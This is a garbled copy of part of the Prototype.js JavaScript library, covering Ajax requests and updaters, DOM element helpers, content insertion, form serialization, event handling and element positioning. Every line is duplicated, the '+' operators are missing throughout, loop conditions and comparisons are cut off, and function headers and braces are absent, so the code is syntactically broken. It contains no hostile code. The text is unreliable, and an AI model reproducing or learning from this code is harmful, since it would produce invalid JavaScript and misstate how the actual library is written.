Object.extend(hash, Hash);
ObjectRange = Class.create();
ObjectRange = Class.create();
Object.extend(ObjectRange.prototype, Enumerable);
Object.extend(ObjectRange.prototype, Enumerable);
Object.extend(ObjectRange.prototype, {
Object.extend(ObjectRange.prototype, {
this.start = start;
this.start = start;
this.end = end;
this.end = end;
this.exclusive = exclusive;
this.exclusive = exclusive;
var value = this.start;
var value = this.start;
value = value.succ();
value = value.succ();
} while (this.include(value));
} while (this.include(value));
if (value
if (value
if (this.exclusive)
if (this.exclusive)
return value
return value
return value
return value
getTransport: function() {
getTransport: function() {
return Try.these(
return Try.these(
function() {return new ActiveXObject('Msxml2.XMLHTTP')},
function() {return new ActiveXObject('Msxml2.XMLHTTP')},
function() {return new ActiveXObject('Microsoft.XMLHTTP')},
function() {return new ActiveXObject('Microsoft.XMLHTTP')},
function() {return new XMLHttpRequest()}
function() {return new XMLHttpRequest()}
Ajax.Responders = {
Ajax.Responders = {
this.responders._each(iterator);
this.responders._each(iterator);
if (!this.include(responderToAdd))
if (!this.include(responderToAdd))
this.responders.push(responderToAdd);
this.responders.push(responderToAdd);
this.responders = this.responders.without(responderToRemove);
this.responders = this.responders.without(responderToRemove);
dispatch: function(callback, request, transport, json) {
dispatch: function(callback, request, transport, json) {
this.each(function(responder) {
this.each(function(responder) {
responder[callback].apply(responder, [request, transport, json]);
responder[callback].apply(responder, [request, transport, json]);
Object.extend(Ajax.Responders, Enumerable);
Object.extend(Ajax.Responders, Enumerable);
Ajax.Responders.register({
Ajax.Responders.register({
Ajax.activeRequestCount ;
Ajax.activeRequestCount ;
Ajax.activeRequestCount--;
Ajax.activeRequestCount--;
Ajax.Base = function() {};
Ajax.Base = function() {};
Ajax.Base.prototype = {
Ajax.Base.prototype = {
this.options = {
this.options = {
Object.extend(this.options, options || {});
Object.extend(this.options, options || {});
return this.transport.status == undefined
return this.transport.status == undefined
|| this.transport.status == 0
|| this.transport.status == 0
|| (this.transport.status >= 200 && this.transport.status
|| (this.transport.status >= 200 && this.transport.status
return !this.responseIsSuccess();
return !this.responseIsSuccess();
Ajax.Request = Class.create();
Ajax.Request = Class.create();
Ajax.Request.Events =
Ajax.Request.Events =
Ajax.Request.prototype = Object.extend(new Ajax.Base(), {
Ajax.Request.prototype = Object.extend(new Ajax.Base(), {
initialize: function(url, options) {
initialize: function(url, options) {
this.transport = Ajax.getTransport();
this.transport = Ajax.getTransport();
this.setOptions(options);
this.setOptions(options);
this.request(url);
this.request(url);
request: function(url) {
request: function(url) {
var parameters = this.options.parameters || '';
var parameters = this.options.parameters || '';
if (parameters.length > 0) parameters = '&_=';
if (parameters.length > 0) parameters = '&_=';
this.url = url;
this.url = url;
if (this.options.method == 'get' && parameters.length > 0)
if (this.options.method == 'get' && parameters.length > 0)
this.url = (this.url.match(/\?/) ? '&' : '?') parameters;
this.url = (this.url.match(/\?/) ? '&' : '?') parameters;
Ajax.Responders.dispatch('onCreate', this, this.transport);
Ajax.Responders.dispatch('onCreate', this, this.transport);
this.transport.open(this.options.method, this.url,
this.transport.open(this.options.method, this.url,
this.options.asynchronous);
this.options.asynchronous);
if (this.options.asynchronous) {
if (this.options.asynchronous) {
this.transport.onreadystatechange = this.onStateChange.bind(this);
this.transport.onreadystatechange = this.onStateChange.bind(this);
setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10);
setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10);
this.setRequestHeaders();
this.setRequestHeaders();
var body = this.options.postBody ? this.options.postBody : parameters;
var body = this.options.postBody ? this.options.postBody : parameters;
this.transport.send(this.options.method == 'post' ? body : null);
this.transport.send(this.options.method == 'post' ? body : null);
this.dispatchException(e);
this.dispatchException(e);
['X-Requested-With', 'XMLHttpRequest',
['X-Requested-With', 'XMLHttpRequest',
'X-Prototype-Version', Prototype.Version];
'X-Prototype-Version', Prototype.Version];
if (this.options.method == 'post') {
if (this.options.method == 'post') {
requestHeaders.push('Content-type',
requestHeaders.push('Content-type',
'application/x-www-form-urlencoded');
'application/x-www-form-urlencoded');
/* Force "Connection: close" for Mozilla browsers to work around
/* Force "Connection: close" for Mozilla browsers to work around
* a bug where XMLHttpReqeuest sends an incorrect Content-length
* a bug where XMLHttpReqeuest sends an incorrect Content-length
* header. See Mozilla Bugzilla #246651.
* header. See Mozilla Bugzilla #246651.
if (this.transport.overrideMimeType)
if (this.transport.overrideMimeType)
requestHeaders.push('Connection', 'close');
requestHeaders.push('Connection', 'close');
if (this.options.requestHeaders)
if (this.options.requestHeaders)
requestHeaders.push.apply(requestHeaders, this.options.requestHeaders);
requestHeaders.push.apply(requestHeaders, this.options.requestHeaders);
for (var i = 0; i
for (var i = 0; i
this.transport.setRequestHeader(requestHeaders[i], requestHeaders[i 1]);
this.transport.setRequestHeader(requestHeaders[i], requestHeaders[i 1]);
var readyState = this.transport.readyState;
var readyState = this.transport.readyState;
this.respondToReadyState(this.transport.readyState);
this.respondToReadyState(this.transport.readyState);
return this.transport.getResponseHeader(name);
return this.transport.getResponseHeader(name);
return eval(this.header('X-JSON'));
return eval(this.header('X-JSON'));
return eval(this.transport.responseText);
return eval(this.transport.responseText);
var event = Ajax.Request.Events[readyState];
var event = Ajax.Request.Events[readyState];
var transport = this.transport, json = this.evalJSON();
var transport = this.transport, json = this.evalJSON();
(this.options['on' this.transport.status]
(this.options['on' this.transport.status]
|| this.options['on' (this.responseIsSuccess() ? 'Success' : 'Failure')]
|| this.options['on' (this.responseIsSuccess() ? 'Success' : 'Failure')]
|| Prototype.emptyFunction)(transport, json);
|| Prototype.emptyFunction)(transport, json);
this.dispatchException(e);
this.dispatchException(e);
if ((this.header('Content-type') || '').match(/^text\/javascript/i))
if ((this.header('Content-type') || '').match(/^text\/javascript/i))
this.evalResponse();
this.evalResponse();
(this.options['on' event] || Prototype.emptyFunction)(transport, json);
(this.options['on' event] || Prototype.emptyFunction)(transport, json);
Ajax.Responders.dispatch('on' event, this, transport, json);
Ajax.Responders.dispatch('on' event, this, transport, json);
this.transport.onreadystatechange = Prototype.emptyFunction;
this.transport.onreadystatechange = Prototype.emptyFunction;
(this.options.onException || Prototype.emptyFunction)(this, exception);
(this.options.onException || Prototype.emptyFunction)(this, exception);
Ajax.Responders.dispatch('onException', this, exception);
Ajax.Responders.dispatch('onException', this, exception);
Ajax.Updater = Class.create();
Ajax.Updater = Class.create();
Object.extend(Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype), {
Object.extend(Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype), {
initialize: function(container, url, options) {
initialize: function(container, url, options) {
this.containers = {
this.containers = {
success: container.success ? $(container.success) : $(container),
success: container.success ? $(container.success) : $(container),
failure: container.failure ? $(container.failure) :
failure: container.failure ? $(container.failure) :
(container.success ? null : $(container))
(container.success ? null : $(container))
var onComplete = this.options.onComplete || Prototype.emptyFunction;
var onComplete = this.options.onComplete || Prototype.emptyFunction;
this.options.onComplete = (function(transport, object) {
this.options.onComplete = (function(transport, object) {
this.updateContent();
this.updateContent();
onComplete(transport, object);
onComplete(transport, object);
}).bind(this);
}).bind(this);
var receiver = this.responseIsSuccess() ?
var receiver = this.responseIsSuccess() ?
this.containers.success : this.containers.failure;
this.containers.success : this.containers.failure;
var response = this.transport.responseText;
var response = this.transport.responseText;
if (!this.options.evalScripts)
if (!this.options.evalScripts)
response = response.stripScripts();
response = response.stripScripts();
if (this.options.insertion) {
if (this.options.insertion) {
new this.options.insertion(receiver, response);
new this.options.insertion(receiver, response);
Element.update(receiver, response);
Element.update(receiver, response);
if (this.responseIsSuccess()) {
if (this.responseIsSuccess()) {
if (this.onComplete)
if (this.onComplete)
setTimeout(this.onComplete.bind(this), 10);
setTimeout(this.onComplete.bind(this), 10);
Ajax.PeriodicalUpdater = Class.create();
Ajax.PeriodicalUpdater = Class.create();
Ajax.PeriodicalUpdater.prototype = Object.extend(new Ajax.Base(), {
Ajax.PeriodicalUpdater.prototype = Object.extend(new Ajax.Base(), {
this.onComplete = this.options.onComplete;
this.onComplete = this.options.onComplete;
this.frequency = (this.options.frequency || 2);
this.frequency = (this.options.frequency || 2);
this.decay = (this.options.decay || 1);
this.decay = (this.options.decay || 1);
this.updater = {};
this.updater = {};
this.container = container;
this.container = container;
this.url = url;
this.url = url;
this.start();
this.start();
this.options.onComplete = this.updateComplete.bind(this);
this.options.onComplete = this.updateComplete.bind(this);
this.onTimerEvent();
this.onTimerEvent();
this.updater.onComplete = undefined;
this.updater.onComplete = undefined;
clearTimeout(this.timer);
clearTimeout(this.timer);
(this.onComplete || Prototype.emptyFunction).apply(this, arguments);
(this.onComplete || Prototype.emptyFunction).apply(this, arguments);
if (this.options.decay) {
if (this.options.decay) {
this.decay = (request.responseText == this.lastText ?
this.decay = (request.responseText == this.lastText ?
this.decay * this.options.decay : 1);
this.decay * this.options.decay : 1);
this.lastText = request.responseText;
this.lastText = request.responseText;
this.timer = setTimeout(this.onTimerEvent.bind(this),
this.timer = setTimeout(this.onTimerEvent.bind(this),
this.decay * this.frequency * 1000);
this.decay * this.frequency * 1000);
this.updater = new Ajax.Updater(this.container, this.url, this.options);
this.updater = new Ajax.Updater(this.container, this.url, this.options);
document.getElementsByClassName = function(className, parentElement) {
document.getElementsByClassName = function(className, parentElement) {
var children = ($(parentElement) || document.body).getElementsByTagName('*');
var children = ($(parentElement) || document.body).getElementsByTagName('*');
return $A(children).inject([], function(elements, child) {
return $A(children).inject([], function(elements, child) {
if (child.className.match(new RegExp("(^|\\s)" className "(\\s|$)")))
if (child.className.match(new RegExp("(^|\\s)" className "(\\s|$)")))
elements.push(child);
elements.push(child);
if (!window.Element) {
if (!window.Element) {
Object.extend(Element, {
Object.extend(Element, {
return $(element).style.display != 'none';
return $(element).style.display != 'none';
Element[Element.visible(element) ? 'hide' : 'show'](element);
Element[Element.visible(element) ? 'hide' : 'show'](element);
element.style.display = 'none';
element.style.display = 'none';
element.style.display = '';
element.style.display = '';
element.parentNode.removeChild(element);
element.parentNode.removeChild(element);
$(element).innerHTML = html.stripScripts();
$(element).innerHTML = html.stripScripts();
setTimeout(function() {html.evalScripts()}, 10);
setTimeout(function() {html.evalScripts()}, 10);
return element.offsetHeight;
return element.offsetHeight;
return new Element.ClassNames(element);
return new Element.ClassNames(element);
return Element.classNames(element).include(className);
return Element.classNames(element).include(className);
return Element.classNames(element).add(className);
return Element.classNames(element).add(className);
return Element.classNames(element).remove(className);
return Element.classNames(element).remove(className);
for (var i = 0; i
for (var i = 0; i
var node = element.childNodes[i];
var node = element.childNodes[i];
if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
if (node.nodeType == 3 && !/\S/.test(node.nodeValue))
Element.remove(node);
Element.remove(node);
return $(element).innerHTML.match(/^\s*$/);
return $(element).innerHTML.match(/^\s*$/);
var x = element.x ? element.x : element.offsetLeft,
var x = element.x ? element.x : element.offsetLeft,
y = element.y ? element.y : element.offsetTop;
y = element.y ? element.y : element.offsetTop;
window.scrollTo(x, y);
window.scrollTo(x, y);
var value = element.style[style.camelize()];
var value = element.style[style.camelize()];
if (document.defaultView && document.defaultView.getComputedStyle) {
if (document.defaultView && document.defaultView.getComputedStyle) {
var css = document.defaultView.getComputedStyle(element, null);
var css = document.defaultView.getComputedStyle(element, null);
value = css ? css.getPropertyValue(style) : null;
value = css ? css.getPropertyValue(style) : null;
} else if (element.currentStyle) {
} else if (element.currentStyle) {
value = element.currentStyle[style.camelize()];
value = element.currentStyle[style.camelize()];
if (window.opera && ['left', 'top', 'right', 'bottom'].include(style))
if (window.opera && ['left', 'top', 'right', 'bottom'].include(style))
if (Element.getStyle(element, 'position') == 'static') value = 'auto';
if (Element.getStyle(element, 'position') == 'static') value = 'auto';
element.style[name.camelize()] = style[name];
element.style[name.camelize()] = style[name];
if (Element.getStyle(element, 'display') != 'none')
if (Element.getStyle(element, 'display') != 'none')
return {width: element.offsetWidth, height: element.offsetHeight};
return {width: element.offsetWidth, height: element.offsetHeight};
var els = element.style;
var els = element.style;
var originalVisibility = els.visibility;
var originalVisibility = els.visibility;
var originalPosition = els.position;
var originalPosition = els.position;
els.visibility = 'hidden';
els.visibility = 'hidden';
els.position = 'absolute';
els.position = 'absolute';
els.display = '';
els.display = '';
var originalWidth = element.clientWidth;
var originalWidth = element.clientWidth;
var originalHeight = element.clientHeight;
var originalHeight = element.clientHeight;
els.display = 'none';
els.display = 'none';
els.position = originalPosition;
els.position = originalPosition;
els.visibility = originalVisibility;
els.visibility = originalVisibility;
var pos = Element.getStyle(element, 'position');
var pos = Element.getStyle(element, 'position');
element.style.position = 'relative';
element.style.position = 'relative';
// Opera returns the offset relative to the positioning context, when an
// Opera returns the offset relative to the positioning context, when an
if (window.opera) {
if (window.opera) {
element.style.top = 0;
element.style.top = 0;
element.style.left = 0;
element.style.left = 0;
element.style.position =
element.style.position =
element.style.top =
element.style.top =
element.style.left =
element.style.left =
element.style.bottom =
element.style.bottom =
element.style.right = '';
element.style.right = '';
element._overflow = element.style.overflow;
element._overflow = element.style.overflow;
if ((Element.getStyle(element, 'overflow') || 'visible') != 'hidden')
if ((Element.getStyle(element, 'overflow') || 'visible') != 'hidden')
element.style.overflow = 'hidden';
element.style.overflow = 'hidden';
element.style.overflow = element._overflow;
element.style.overflow = element._overflow;
Toggle.display = Element.toggle;
Toggle.display = Element.toggle;
Abstract.Insertion = function(adjacency) {
Abstract.Insertion = function(adjacency) {
this.adjacency = adjacency;
this.adjacency = adjacency;
Abstract.Insertion.prototype = {
Abstract.Insertion.prototype = {
this.element = $(element);
this.element = $(element);
this.content = content.stripScripts();
this.content = content.stripScripts();
if (this.adjacency && this.element.insertAdjacentHTML) {
if (this.adjacency && this.element.insertAdjacentHTML) {
this.element.insertAdjacentHTML(this.adjacency, this.content);
this.element.insertAdjacentHTML(this.adjacency, this.content);
if (this.element.tagName.toLowerCase() == 'tbody') {
if (this.element.tagName.toLowerCase() == 'tbody') {
this.insertContent(this.contentFromAnonymousTable());
this.insertContent(this.contentFromAnonymousTable());
this.range = this.element.ownerDocument.createRange();
this.range = this.element.ownerDocument.createRange();
if (this.initializeRange) this.initializeRange();
if (this.initializeRange) this.initializeRange();
this.insertContent([this.range.createContextualFragment(this.content)]);
this.insertContent([this.range.createContextualFragment(this.content)]);
setTimeout(function() {content.evalScripts()}, 10);
setTimeout(function() {content.evalScripts()}, 10);
div.innerHTML = '
' this.content 'div.innerHTML = '
' this.content 'return $A(div.childNodes[0].childNodes[0].childNodes);
return $A(div.childNodes[0].childNodes[0].childNodes);
Insertion.Before = Class.create();
Insertion.Before = Class.create();
Insertion.Before.prototype = Object.extend(new Abstract.Insertion('beforeBegin'), {
Insertion.Before.prototype = Object.extend(new Abstract.Insertion('beforeBegin'), {
this.range.setStartBefore(this.element);
this.range.setStartBefore(this.element);
fragments.each((function(fragment) {
fragments.each((function(fragment) {
this.element.parentNode.insertBefore(fragment, this.element);
this.element.parentNode.insertBefore(fragment, this.element);
}).bind(this));
}).bind(this));
Insertion.Top = Class.create();
Insertion.Top = Class.create();
Insertion.Top.prototype = Object.extend(new Abstract.Insertion('afterBegin'), {
Insertion.Top.prototype = Object.extend(new Abstract.Insertion('afterBegin'), {
this.range.selectNodeContents(this.element);
this.range.selectNodeContents(this.element);
this.range.collapse(true);
this.range.collapse(true);
fragments.reverse(false).each((function(fragment) {
fragments.reverse(false).each((function(fragment) {
this.element.insertBefore(fragment, this.element.firstChild);
this.element.insertBefore(fragment, this.element.firstChild);
Insertion.Bottom = Class.create();
Insertion.Bottom = Class.create();
Insertion.Bottom.prototype = Object.extend(new Abstract.Insertion('beforeEnd'), {
Insertion.Bottom.prototype = Object.extend(new Abstract.Insertion('beforeEnd'), {
this.range.collapse(this.element);
this.range.collapse(this.element);
this.element.appendChild(fragment);
this.element.appendChild(fragment);
Insertion.After = Class.create();
Insertion.After = Class.create();
Insertion.After.prototype = Object.extend(new Abstract.Insertion('afterEnd'), {
Insertion.After.prototype = Object.extend(new Abstract.Insertion('afterEnd'), {
this.range.setStartAfter(this.element);
this.range.setStartAfter(this.element);
this.element.parentNode.insertBefore(fragment,
this.element.parentNode.insertBefore(fragment,
this.element.nextSibling);
this.element.nextSibling);
Element.ClassNames = Class.create();
Element.ClassNames = Class.create();
Element.ClassNames.prototype = {
Element.ClassNames.prototype = {
this.element.className.split(/\s /).select(function(name) {
this.element.className.split(/\s /).select(function(name) {
return name.length > 0;
return name.length > 0;
this.element.className = className;
this.element.className = className;
if (this.include(classNameToAdd)) return;
if (this.include(classNameToAdd)) return;
this.set(this.toArray().concat(classNameToAdd).join(' '));
this.set(this.toArray().concat(classNameToAdd).join(' '));
if (!this.include(classNameToRemove)) return;
if (!this.include(classNameToRemove)) return;
this.set(this.select(function(className) {
this.set(this.select(function(className) {
}).join(' '));
}).join(' '));
return this.toArray().join(' ');
return this.toArray().join(' ');
Object.extend(Element.ClassNames.prototype, Enumerable);
Object.extend(Element.ClassNames.prototype, Enumerable);
for (var i = 0; i
for (var i = 0; i
$(arguments[i]).value = '';
$(arguments[i]).value = '';
$(element).focus();
$(element).focus();
if ($(arguments[i]).value == '') return false;
if ($(arguments[i]).value == '') return false;
$(element).select();
$(element).select();
element.focus();
element.focus();
if (element.select)
if (element.select)
element.select();
element.select();
var elements = Form.getElements($(form));
var elements = Form.getElements($(form));
for (var i = 0; i
for (var i = 0; i
var queryComponent = Form.Element.serialize(elements[i]);
var queryComponent = Form.Element.serialize(elements[i]);
queryComponents.push(queryComponent);
queryComponents.push(queryComponent);
return queryComponents.join('&');
return queryComponents.join('&');
for (tagName in Form.Element.Serializers) {
for (tagName in Form.Element.Serializers) {
var tagElements = form.getElementsByTagName(tagName);
var tagElements = form.getElementsByTagName(tagName);
for (var j = 0; j
for (var j = 0; j
elements.push(tagElements[j]);
elements.push(tagElements[j]);
var inputs = form.getElementsByTagName('input');
var inputs = form.getElementsByTagName('input');
for (var i = 0; i
for (var i = 0; i
if ((typeName && input.type != typeName) ||
if ((typeName && input.type != typeName) ||
(name && input.name != name))
(name && input.name != name))
matchingInputs.push(input);
matchingInputs.push(input);
var elements = Form.getElements(form);
var elements = Form.getElements(form);
element.blur();
element.blur();
element.disabled = 'true';
element.disabled = 'true';
element.disabled = '';
element.disabled = '';
return Form.getElements(form).find(function(element) {
return Form.getElements(form).find(function(element) {
return element.type != 'hidden' && !element.disabled &&
return element.type != 'hidden' && !element.disabled &&
['input', 'select', 'textarea'].include(element.tagName.toLowerCase());
['input', 'select', 'textarea'].include(element.tagName.toLowerCase());
Field.activate(Form.findFirstElement(form));
Field.activate(Form.findFirstElement(form));
$(form).reset();
$(form).reset();
Form.Element = {
Form.Element = {
var method = element.tagName.toLowerCase();
var method = element.tagName.toLowerCase();
var parameter = Form.Element.Serializers[method](element);
var parameter = Form.Element.Serializers[method](element);
var key = encodeURIComponent(parameter[0]);
var key = encodeURIComponent(parameter[0]);
if (key.length == 0) return;
if (key.length == 0) return;
if (parameter[1].constructor != Array)
if (parameter[1].constructor != Array)
return parameter[1].map(function(value) {
return parameter[1].map(function(value) {
return key '=' encodeURIComponent(value);
return key '=' encodeURIComponent(value);
}).join('&');
}).join('&');
Form.Element.Serializers = {
Form.Element.Serializers = {
switch (element.type.toLowerCase()) {
switch (element.type.toLowerCase()) {
case 'password':
case 'password':
return Form.Element.Serializers.textarea(element);
return Form.Element.Serializers.textarea(element);
return Form.Element.Serializers.inputSelector(element);
return Form.Element.Serializers.inputSelector(element);
if (element.checked)
if (element.checked)
return [element.name, element.value];
return [element.name, element.value];
return [element.name, element.value];
return [element.name, element.value];
return Form.Element.Serializers[element.type == 'select-one' ?
return Form.Element.Serializers[element.type == 'select-one' ?
var value = '', opt, index = element.selectedIndex;
var value = '', opt, index = element.selectedIndex;
opt = element.options[index];
opt = element.options[index];
value = opt.value;
value = opt.value;
value = opt.text;
value = opt.text;
return [element.name, value];
return [element.name, value];
for (var i = 0; i
for (var i = 0; i
var opt = element.options[i];
var opt = element.options[i];
if (opt.selected) {
if (opt.selected) {
var optValue = opt.value;
var optValue = opt.value;
optValue = opt.text;
optValue = opt.text;
value.push(optValue);
value.push(optValue);
var $F = Form.Element.getValue;
var $F = Form.Element.getValue;
Abstract.TimedObserver = function() {}
Abstract.TimedObserver = function() {}
Abstract.TimedObserver.prototype = {
Abstract.TimedObserver.prototype = {
this.element = $(element);
this.element = $(element);
this.callback = callback;
this.callback = callback;
this.lastValue = this.getValue();
this.lastValue = this.getValue();
var value = this.getValue();
var value = this.getValue();
if (this.lastValue != value) {
if (this.lastValue != value) {
this.callback(this.element, value);
this.callback(this.element, value);
this.lastValue = value;
this.lastValue = value;
Form.Element.Observer = Class.create();
Form.Element.Observer = Class.create();
Form.Element.Observer.prototype = Object.extend(new Abstract.TimedObserver(), {
Form.Element.Observer.prototype = Object.extend(new Abstract.TimedObserver(), {
return Form.Element.getValue(this.element);
return Form.Element.getValue(this.element);
Form.Observer = Class.create();
Form.Observer = Class.create();
Form.Observer.prototype = Object.extend(new Abstract.TimedObserver(), {
Form.Observer.prototype = Object.extend(new Abstract.TimedObserver(), {
return Form.serialize(this.element);
return Form.serialize(this.element);
Abstract.EventObserver = function() {}
Abstract.EventObserver = function() {}
Abstract.EventObserver.prototype = {
Abstract.EventObserver.prototype = {
this.element = $(element);
this.element = $(element);
if (this.element.tagName.toLowerCase() == 'form')
if (this.element.tagName.toLowerCase() == 'form')
this.registerFormCallbacks();
this.registerFormCallbacks();
this.registerCallback(this.element);
this.registerCallback(this.element);
var elements = Form.getElements(this.element);
var elements = Form.getElements(this.element);
for (var i = 0; i
for (var i = 0; i
this.registerCallback(elements[i]);
this.registerCallback(elements[i]);
if (element.type) {
if (element.type) {
switch (element.type.toLowerCase()) {
switch (element.type.toLowerCase()) {
Event.observe(element, 'click', this.onElementEvent.bind(this));
Event.observe(element, 'click', this.onElementEvent.bind(this));
case 'password':
case 'password':
Event.observe(element, 'change', this.onElementEvent.bind(this));
Event.observe(element, 'change', this.onElementEvent.bind(this));
Form.Element.EventObserver = Class.create();
Form.Element.EventObserver = Class.create();
Form.Element.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), {
Form.Element.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), {
Form.EventObserver = Class.create();
Form.EventObserver = Class.create();
Form.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), {
Form.EventObserver.prototype = Object.extend(new Abstract.EventObserver(), {
if (!window.Event) {
if (!window.Event) {
Object.extend(Event, {
Object.extend(Event, {
KEY_BACKSPACE: 8,
KEY_BACKSPACE: 8,
KEY_TAB: 9,
KEY_TAB: 9,
KEY_RETURN: 13,
KEY_RETURN: 13,
KEY_ESC: 27,
KEY_ESC: 27,
KEY_LEFT: 37,
KEY_LEFT: 37,
KEY_UP: 38,
KEY_UP: 38,
KEY_RIGHT: 39,
KEY_RIGHT: 39,
KEY_DOWN: 40,
KEY_DOWN: 40,
KEY_DELETE: 46,
KEY_DELETE: 46,
return event.target || event.srcElement;
return event.target || event.srcElement;
return (((event.which) && (event.which == 1)) ||
return (((event.which) && (event.which == 1)) ||
((event.button) && (event.button == 1)));
((event.button) && (event.button == 1)));
return event.pageX || (event.clientX
return event.pageX || (event.clientX
(document.documentElement.scrollLeft || document.body.scrollLeft));
(document.documentElement.scrollLeft || document.body.scrollLeft));
return event.pageY || (event.clientY
return event.pageY || (event.clientY
(document.documentElement.scrollTop || document.body.scrollTop));
(document.documentElement.scrollTop || document.body.scrollTop));
if (event.preventDefault) {
if (event.preventDefault) {
event.preventDefault();
event.preventDefault();
event.stopPropagation();
event.stopPropagation();
event.returnValue = false;
event.returnValue = false;
event.cancelBubble = true;
event.cancelBubble = true;
var element = Event.element(event);
var element = Event.element(event);
while (element.parentNode && (!element.tagName ||
while (element.parentNode && (!element.tagName ||
(element.tagName.toUpperCase() != tagName.toUpperCase())))
(element.tagName.toUpperCase() != tagName.toUpperCase())))
element = element.parentNode;
element = element.parentNode;
if (!this.observers) this.observers = [];
if (!this.observers) this.observers = [];
if (element.addEventListener) {
if (element.addEventListener) {
this.observers.push([element, name, observer, useCapture]);
this.observers.push([element, name, observer, useCapture]);
element.addEventListener(name, observer, useCapture);
element.addEventListener(name, observer, useCapture);
} else if (element.attachEvent) {
} else if (element.attachEvent) {
element.attachEvent('on' name, observer);
element.attachEvent('on' name, observer);
if (!Event.observers) return;
if (!Event.observers) return;
for (var i = 0; i
for (var i = 0; i
Event.stopObserving.apply(this, Event.observers[i]);
Event.stopObserving.apply(this, Event.observers[i]);
Event.observers[i][0] = null;
Event.observers[i][0] = null;
Event.observers = false;
Event.observers = false;
if (name == 'keypress' &&
if (name == 'keypress' &&
(navigator.appVersion.match(/Konqueror|Safari|KHTML/)
(navigator.appVersion.match(/Konqueror|Safari|KHTML/)
|| element.attachEvent))
|| element.attachEvent))
name = 'keydown';
name = 'keydown';
|| element.detachEvent))
|| element.detachEvent))
if (element.removeEventListener) {
if (element.removeEventListener) {
element.removeEventListener(name, observer, useCapture);
element.removeEventListener(name, observer, useCapture);
} else if (element.detachEvent) {
} else if (element.detachEvent) {
element.detachEvent('on' name, observer);
element.detachEvent('on' name, observer);
Event.observe(window, 'unload', Event.unloadCache, false);
Event.observe(window, 'unload', Event.unloadCache, false);
// set to true if needed, warning: firefox performance problems
// set to true if needed, warning: firefox performance problems
this.deltaX = window.pageXOffset
this.deltaX = window.pageXOffset
|| document.documentElement.scrollLeft
|| document.documentElement.scrollLeft
|| document.body.scrollLeft
|| document.body.scrollLeft
this.deltaY = window.pageYOffset
this.deltaY = window.pageYOffset
|| document.documentElement.scrollTop
|| document.documentElement.scrollTop
|| document.body.scrollTop
|| document.body.scrollTop
valueT = element.scrollTop || 0;
valueT = element.scrollTop || 0;
valueL = element.scrollLeft || 0;
valueL = element.scrollLeft || 0;
valueT = element.offsetTop || 0;
valueT = element.offsetTop || 0;
valueL = element.offsetLeft || 0;
valueL = element.offsetLeft || 0;
element = element.offsetParent;
element = element.offsetParent;
p = Element.getStyle(element, 'position');
p = Element.getStyle(element, 'position');
if (element.offsetParent) return element.offsetParent;
if (element.offsetParent) return element.offsetParent;
if (element == document.body) return element;
if (element == document.body) return element;
while ((element = element.parentNode) && element != document.body)
while ((element = element.parentNode) && element != document.body)
if (Element.getStyle(element, 'position') != 'static')
if (Element.getStyle(element, 'position') != 'static')
return document.body;
return document.body;
if (this.includeScrollOffsets)
if (this.includeScrollOffsets)
return this.withinIncludingScrolloffsets(element, x, y);
return this.withinIncludingScrolloffsets(element, x, y);
this.xcomp = x;
this.xcomp = x;
this.ycomp = y;
this.ycomp = y;
this.offset = this.cumulativeOffset(element);
this.offset = this.cumulativeOffset(element);
return (y >= this.offset[1] &&
return (y >= this.offset[1] &&
y
y
x >= this.offset[0] &&
x >= this.offset[0] &&
x
x
var offsetcache = this.realOffset(element);
var offsetcache = this.realOffset(element);
this.xcomp = x offsetcache[0] - this.deltaX;
this.xcomp = x offsetcache[0] - this.deltaX;
this.ycomp = y offsetcache[1] - this.deltaY;
this.ycomp = y offsetcache[1] - this.deltaY;
return (this.ycomp >= this.offset[1] &&
return (this.ycomp >= this.offset[1] &&
this.ycomp
this.ycomp
this.xcomp >= this.offset[0] &&
this.xcomp >= this.offset[0] &&
this.xcomp
this.xcomp
return ((this.offset[1] element.offsetHeight) - this.ycomp) /
return ((this.offset[1] element.offsetHeight) - this.ycomp) /
element.offsetHeight;
element.offsetHeight;
return ((this.offset[0] element.offsetWidth) - this.xcomp) /
return ((this.offset[0] element.offsetWidth) - this.xcomp) /
element.offsetWidth;
element.offsetWidth;
target.style.position = 'absolute';
target.style.position = 'absolute';
var offsets = this.cumulativeOffset(source);
var offsets = this.cumulativeOffset(source);
target.style.top = offsets[1] 'px';
target.style.top = offsets[1] 'px';
target.style.left = offsets[0] 'px';
target.style.left = offsets[0] 'px';
target.style.width = source.offsetWidth 'px';
target.style.width = source.offsetWidth 'px';
target.style.height = source.offsetHeight 'px';
target.style.height = source.offsetHeight 'px';
if (element.offsetParent==document.body)
if (element.offsetParent==document.body)
if (Element.getStyle(element,'position')=='absolute') break;
if (Element.getStyle(element,'position')=='absolute') break;
} while (element = element.offsetParent);
} while (element = element.offsetParent);
valueT -= element.scrollTop || 0;
valueT -= element.scrollTop || 0;
valueL -= element.scrollLeft || 0;
valueL -= element.scrollLeft || 0;
} while (element = element.parentNode);
} while (element = element.parentNode);
var options = Object.extend({
var options = Object.extend({
var p = Position.page(source);
var p = Position.page(source);
if (Element.getStyle(target,'position') == 'absolute') {
if (Element.getStyle(target,'position') == 'absolute') {
parent = Position.offsetParent(target);
parent = Position.offsetParent(target);
delta = Position.page(parent);
delta = Position.page(parent);
if (parent == document.body) {
if (parent == document.body) {
delta[0] -= document.body.offsetLeft;
delta[0] -= document.body.offsetLeft;
delta[1] -= document.body.offsetTop;
delta[1] -= document.body.offsetTop;
if(options.setLeft) target.style.left = (p[0] - delta[0] options.offsetLeft) 'px';
if(options.setLeft) target.style.left = (p[0] - delta[0] options.offsetLeft) 'px';
if(options.setTop) target.style.top = (p[1] - delta[1] options.offsetTop) 'px';
if(options.setTop) target.style.top = (p[1] - delta[1] options.offsetTop) 'px';
if(options.setWidth) target.style.width = source.offsetWidth 'px';
if(options.setWidth) target.style.width = source.offsetWidth 'px';
if(options.setHeight) target.style.height = source.offsetHeight 'px';
if(options.setHeight) target.style.height = source.offsetHeight 'px';
if (element.style.position == 'absolute') return;
if (element.style.position == 'absolute') return;
Position.prepare();
Position.prepare();
var offsets = Position.positionedOffset(element);
var offsets = Position.positionedOffset(element);
var width = element.clientWidth;
var width = element.clientWidth;
var height = element.clientHeight;
var height = element.clientHeight;
element._originalLeft = left - parseFloat(element.style.left || 0);
